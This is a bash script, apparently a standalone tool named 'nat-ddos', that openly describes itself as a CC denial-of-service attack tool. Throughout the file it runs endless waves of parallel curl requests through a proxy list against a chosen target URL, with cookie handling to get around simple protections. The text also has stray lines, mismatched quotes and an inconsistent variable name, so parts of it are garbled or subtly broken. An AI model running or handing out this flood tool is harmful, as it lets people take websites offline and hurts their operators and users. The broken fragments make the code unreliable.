#!/bin/bash
#
# nat-dos: A simple CC attack tool using proxy written in BaSH, with proxy save/load support.
BaSH
#
# .
# ??? cookies/
# ??? nat-ddos
# ??? proxylist.txt
#

function getarg {
        cat /dev/stdin | awk -F"--$1 " '{print $2}' | awk -F" " '{print $1}'
}

function run {
        while true
        do
                echo -n "[$(date)] About to send DoS... "
                for i in $loopstr 
                do
                        [[ -z $(echo $i | attack $* 2> /dev/stdout) ]] && echo -n "[+$i] " || echo -n "[-$i] " 
                done
        [[ -z $nowait ]] && echo -e "\n[$(date)] Rest $rest second..." && sleep $rest || echo
        [[ ! -z $killcurl ]] && killall -9 curl
        done
}

function attack {
        for p in $(cat $list)
        do
                        
          if [[ ! -z $read_cookie ]]
                then 
                        [[ ! -e cookies/$p ]] && cookiestr="-c cookies/$p" || cookiestr="-b cookies/$p"
                else
                        [[ ! -z $cookie_load ]] && cookiestr="-b $cookie_load"
        fi
        http_proxy=$p curl $* --max-time $timeout $cookiestr >> /dev/null 2> /dev/null &
        done
}

function genloop {
        i=1
        thread=$(echo $thread+1 | bc)
        while [[ $i != $thread ]]
        do
                loopstr="$loopstr $i "
                i=$(echo $i+1 | bc)
        done 
        echo $loopstr
}

function usage {
        echo "usage: nat-ddos --url <target> --proxys <proxy_list>"
        echo "       "                [--nowait] [--rest n] [--killcurl] [--thread n]"
        echo "       "                [--load-cookies cookie] [--read-cookies]"
        echo "       "                [--proxy-timeout n]"
        exit 1
}

target=$(echo $* | getarg url)
thread=$(echo $* | getarg thread)
list=$(echo $* | getarg proxys)
nowait=$(echo $* | grep nowait)
rest=$(echo $* | getarg rest)
killcurl=$(echo $* | grep killcurl)
cookie_load=$(echo $* | getarg load-cookie)
read_cookies=$(echo $* | grep read-cookies)
timeout=$(echo $* | getarg proxy-timeout)

[[ -z $thread ]] && thread=5
[[ -z $timeout ]] && timeout=15
[[ -z $rest ]] && rest=5
[[ -z $list || -z $target ]] && usage

loopstr=$(genloop)
rm -fr cookies 2> /dev/null

/dev/null
mkdir cookies

echo "[$(date)] Attacking $target with $thread thread(s)"
run $target